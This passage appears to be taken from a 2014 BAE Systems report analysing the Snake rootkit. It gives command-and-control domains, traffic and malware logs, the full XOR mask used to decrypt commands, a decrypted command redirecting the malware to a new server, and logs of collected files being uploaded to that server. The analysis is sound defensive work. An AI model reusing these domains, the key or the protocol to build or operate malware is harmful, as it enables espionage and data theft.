text
stringlengths
4
429
july.mypressonline.com
toolsthem.xp3.biz
softprog.freeoda.com
euassociate.6te.net
As seen in the traffic dump above, the malware first resolves the domain name of its C&C.
Next, it fetches a file /D/pub.txt, and expects the server to respond with a string
, acknowledging it
s active:
03:52:06 1336: Connect swim.onlinewebshop.net type(0)... OK
03:52:06 1336: GET /D/pub.txt
03:52:07 1336: Http status: 200
03:52:07 1336: recv 1/1
03:52:07 DownLoad 1 command(s)
Once acknowledged, it asks the server for a command, and the server returns a new command to execute:
03:52:11 1404: Connect swim.onlinewebshop.net type(0)... OK
03:52:11 1404: GET /D/77568289
03:52:12 1404: Http status: 200
03:52:12 1404: Command for all
03:52:12 1404: recv 346/346
03:52:12 Command Id:303149772662877808(130201837456870000)[13:42:25 05/08/2013]
BAE Systems Applied Intelligence: Snake Rootkit Report 2014 9
The command it receives from C&C above (swim.onlinewebshop.net) is encrypted. In order to decrypt it, the malware first
applies the XOR mask to the bytes that start from offset 0x40:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6g
s923HL34x2f5cvd0fk6c1a0s
An identical XOR mask was also used by Agent.BTZ.
Next, it calculates and confirms a CRC32 checksum within the command, further decrypts the data by using the Number Theory
Library (NTL), and makes sure the command is destined to the current host by matching the ID field in it.
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 74 E4 7E F4 9E 8E D8 65 B3 06 EB B3 08 EA 3E 84 t.~....e......>.
00000010 D5 A1 D2 ED 5D 0C 89 91 65 DE 4E B6 0C E2 2C 39 ....]...e.N...,9
00000020 A9 8A 3D B9 0B C0 E6 12 E9 F9 81 0A CF C3 D9 0C ..=.............
00000030 5A 6A 15 B4 00 00 00 00 01 00 00 00 00 00 00 00 Zj..............
00000040 31 64 4D 33 75 75 34 6A 37 46 77 34 73 6A 6E 62 1dM3uu4j7Fw4sjnb
00000050 13 3D D4 DA 90 F4 BA 35 1C 36 4A 79 69 96 B1 D4 .=.....5.6Jyi...
00000060 D8 F1 07 6F 7B CC C4 68 9D B7 86 3E 4B 6F BA FB ...o{..h...>Ko..
00000070 6E AB 7B 29 32 FD 7C 75 B9 DF 7F C0 0C 81 2D 14 n.{)2.|u......-.
00000080 23 F9 A4 DF D3 F1 18 97 4D CD 71 D0 52 D6 A2 E9 #.......M.q.R...
00000090 FF 58 30 3D A8 8A DD 4D 3F DB AE 9A F5 07 3B 21 .X0=...M?.....;!
000000A0 67 5A 34 22 AD 60 CB DD A4 E2 B5 77 A1 6A 4C 2E gZ4
.`.....w.jL.
000000B0 C8 75 91 01 CA 5B B3 28 3E 55 C8 68 B2 2C 40 E4 .u...[.(>U.h.,@.
000000C0 02 A9 64 8B 80 BD 0E AB 58 25 00 40 6E AB DD 5B ..d.....X%.@n..[
000000D0 D1 0A 32 AE 4A E2 60 79 BE 47 10 AE 73 35 4C 65 ..2.J.`y.G..s5Le
000000E0 06 3C AA D8 F0 49 52 DB 22 A5 0D 7B 2B 4D 8A D1 .<...IR.
..{+M..
000000F0 21 5C 62 11 E6 13 E2 CA AF A5 4F 5A 9E 1C AF AE !\b.......OZ....
00000100 C4 1C 36 4D A0 E4 72 3A CD 07 A3 01 AE E6 0A 84 ..6M..r:........
00000110 D4 8B 03 FB 0D 68 19 FD 86 71 8E FD FC 2D C3 5C .....h...q...-.\
00000120 49 A4 E3 40 9B 77 16 BA 86 4A DD 0D 15 7D B1 BD [email protected]...}..
00000130 A9 54 C3 F6 E4 05 72 B1 E6 B7 A5 A7 31 CE 29 8B .T....r.....1.).
00000140 EF 95 58 2A 2E 48 0E 7A BD B8 B7 CE 48 32 E2 48 ..X*.H.z....H2.H
00000150 2E E2 94 65 F0 19 FC F5 ED 1B ...e......
Traffic is decrypted
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 49 44 33 30 33 31 34 39 37 37 32 36 36 30 38 34 ID30314977266084
00000010 37 38 30 38 23 30 36 20 26 6D 61 72 6B 65 74 70 7808#06 &marketp
00000020 6C 61 63 65 2E 73 65 72 76 65 68 74 74 70 2E 63 lace.servehttp.c
00000030 6F 6D 26 2F 55 50 44 41 54 45 2F 26 63 65 72 74 om&/UPDATE/&cert
00000040 31 30 32 34 26 55 6E 37 37 6B 6F 23 73 26 26 26 1024&Un77ko#s&&&
00000050 0A .
Once decrypted, the malware interprets the received command, as reflected in the malware log below (the new C&C server address
is highlighted in it):
03:52:12 Del after 0
03:52:12 Run instruction: 6 ID:303149772147483647(13:41:34 05/08/2013)
03:52:12 Add address &marketplace.servehttp.com&/UPDATE/&cert1024&Un77ko#s&&&
03:52:12 Finish run instruction.
After that, the malware connects to the new C&C, asking it for another command:
03:52:13 1400: Connect marketplace.servehttp.com type(0)... OK
03:52:13 1400: GET /IMAGE/pub.html
03:52:15 1400: Http status: 200
03:52:16 1400: recv 1/1
03:52:16 DownLoad 1 command(s).
BAE Systems Applied Intelligence: Snake Rootkit Report 2014 10
The command it receives is called UpLoad, so it uploads all the collected logs to the server, and then cleans out those logs:
03:52:16 UpLoad: http upload 4 file(s).
03:52:17 652: Connect marketplace.servehttp.com type(0)... OK
03:52:17 652: GET test file /IMAGE/pub.html
03:52:17 652: POST /IMAGE/2/55198739672286404661840843638320033
03:52:18 652: C:\WINDOWS\$NtUninstallQ812589$\gstat32.bin 310[B]
03:52:19 652: Http Status:200
03:52:19 652: POST /IMAGE/2/32773318678423920155243775957661252
03:52:19 652: result.xml 1278[B]
03:52:20 652: Http Status:200
03:52:21 652: POST /IMAGE/2/41535327538451061594793127961089611
03:52:21 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon32.sdb 655[B]
03:52:22 652: Http Status:200
03:52:22 652: POST /IMAGE/2/35192812459183876172895945534862460
03:52:22 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon.sdb 748[B]
03:52:23 652: Http Status:200
The files it uploads are stored inside its home directory %windows%\$NtUninstallQ[random]$,
where [random] is a random number.
For example, Snake
s home directory could be C:\WINDOWS\$NtUninstallQ812589$.
The files within that directory are used by the rootkit to store configuration and log data.